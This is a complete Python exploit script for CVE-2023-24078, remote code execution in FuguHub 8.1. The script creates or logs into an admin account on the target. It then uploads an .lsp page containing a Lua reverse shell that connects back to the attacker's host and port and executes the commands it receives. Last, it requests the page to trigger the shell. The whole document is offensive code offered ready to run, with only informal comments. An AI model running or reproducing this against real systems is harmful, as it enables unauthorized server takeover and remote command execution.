FuguHub 8.1 Remote Code Execution

`# Exploit Title: FuguHub 8.1 - Remote Code Execution  
# Date: 6/24/2023  
# Exploit Author: redfire359   
# Vendor Homepage: https://fuguhub.com/  
# Software Link: https://fuguhub.com/download.lsp  
# Version: 8.1  
# Tested on: Ubuntu 22.04.1  
# CVE : CVE-2023-24078   
  
import requests  
from bs4 import BeautifulSoup  
import hashlib  
from random import randint  
from urllib3 import encode_multipart_formdata  
from urllib3.exceptions import InsecureRequestWarning  
import argparse  
from colorama import Fore  
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)  
  
#Options for user registration, if no user has been created yet   
username = 'admin'  
password = 'password'  
email = '[email protected]'  
  
parser = argparse.ArgumentParser()  
parser.add_argument("-r","--rhost", help = "Victims ip/url (omit the http://)", required = True)  
parser.add_argument("-rp","--rport", help = "http port [Default 80]")  
parser.add_argument("-l","--lhost", help = "Your IP", required = True)  
parser.add_argument("-p","--lport", help = "Port you have your listener on", required = True)  
args = parser.parse_args()  
  
LHOST = args.lhost  
LPORT = args.lport  
url = args.rhost  
if args.rport != None:  
port = args.rport  
else:  
port = 80  
  
def main():  
checkAccount()  
  
def checkAccount():  
print(f"{Fore.YELLOW}[*]{Fore.WHITE} Checking for admin user...")  
s = requests.Session()  
  
# Go to the set admin page... if page contains "User database already saved" then there are already admin creds and we will try to login with the creds, otherwise we will manually create an account  
r = s.get(f"http://{url}:{port}/Config-Wizard/wizard/SetAdmin.lsp")   
soup = BeautifulSoup(r.content, 'html.parser')  
search = soup.find('h1')  
  
if r.status_code == 404:  
print(Fore.RED + "[!]" + Fore.WHITE +" Page not found! Check the following: \n\tTaget IP\n\tTarget Port")  
exit(0)  
  
userExists = False  
userText = 'User database already saved'  
for i in search:  
if i.string == userText:  
userExists = True  
  
if userExists:  
print(f"{Fore.GREEN}[+]{Fore.WHITE} An admin user does exist..")  
login(r,s)  
else:  
print("{Fore.GREEN}[+]{Fore.WHITE} No admin user exists yet, creating account with {username}:{password}")  
createUser(r,s)  
login(r,s)  
  
def createUser(r,s):  
data = { email : email ,   
'user' : username ,   
'password' : password ,   
'recoverpassword' : 'on' }  
r = s.post(f"http://{url}:{port}/Config-Wizard/wizard/SetAdmin.lsp", data = data)  
print(f"{Fore.GREEN}[+]{Fore.WHITE} User Created!")   
  
def login(r,s):  
print(f"{Fore.GREEN}[+]{Fore.WHITE} Logging in...")  
  
data = {'ba_username' : username , 'ba_password' : password}  
r = s.post(f"https://{url}:443/rtl/protected/wfslinks.lsp", data = data, verify = False ) # switching to https cause its easier to script lolz   
  
#Veryify login   
login_Success_Title = 'Web-File-Server'  
soup = BeautifulSoup(r.content, 'html.parser')  
search = soup.find('title')  
  
for i in search:  
if i != login_Success_Title:  
print(f"{Fore.RED}[!]{Fore.WHITE} Error! We got sent back to the login page...")  
exit(0)  
print(f"{Fore.GREEN}[+]{Fore.WHITE} Success! Finding a valid file server link...")  
  
exploit(r,s)  
  
def exploit(r,s):  
#Find the file server, default is fs  
r = s.get(f"https://{url}:443/fs/cmsdocs/")  
  
code = r.status_code  
  
if code == 404:  
print(f"{Fore.RED}[!]{Fore.WHITE} File server not found. ")  
exit(0)  
  
print(f"{Fore.GREEN}[+]{Fore.WHITE} Code: {code}, found valid file server, uploading rev shell")  
  
#Change the shell if you want to, when tested I've had the best luck with lua rev shell code so thats what I put as default   
shell = f'local host, port = "{LHOST}", {LPORT} \nlocal socket = require("socket")\nlocal tcp = socket.tcp() \nlocal io = require("io") tcp:connect(host, port); \n while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'  
  
  
file_content = f'''  
<h2> Check ur nc listener on the port you put in <h2>  
  
<?lsp if request:method() == "GET" then ?>  
<?lsp   
{shell}   
?>  
<?lsp else ?>  
Wrong request method, goodBye!   
<?lsp end ?>  
'''  
  
files = {'file': ('rev.lsp', file_content, 'application/octet-stream')}  
r = s.post(f"https://{url}:443/fs/cmsdocs/", files=files)  
  
if r.text == 'ok' :  
print(f"{Fore.GREEN}[+]{Fore.WHITE} Successfully uploaded, calling shell ")  
r = s.get(f"https://{url}:443/rev.lsp")  
  
if __name__=='__main__':  
try:  
main()  
except:  
print(f"\n{Fore.YELLOW}[*]{Fore.WHITE} Good bye!\n\n**All Hail w4rf4ther!")  
  
  
`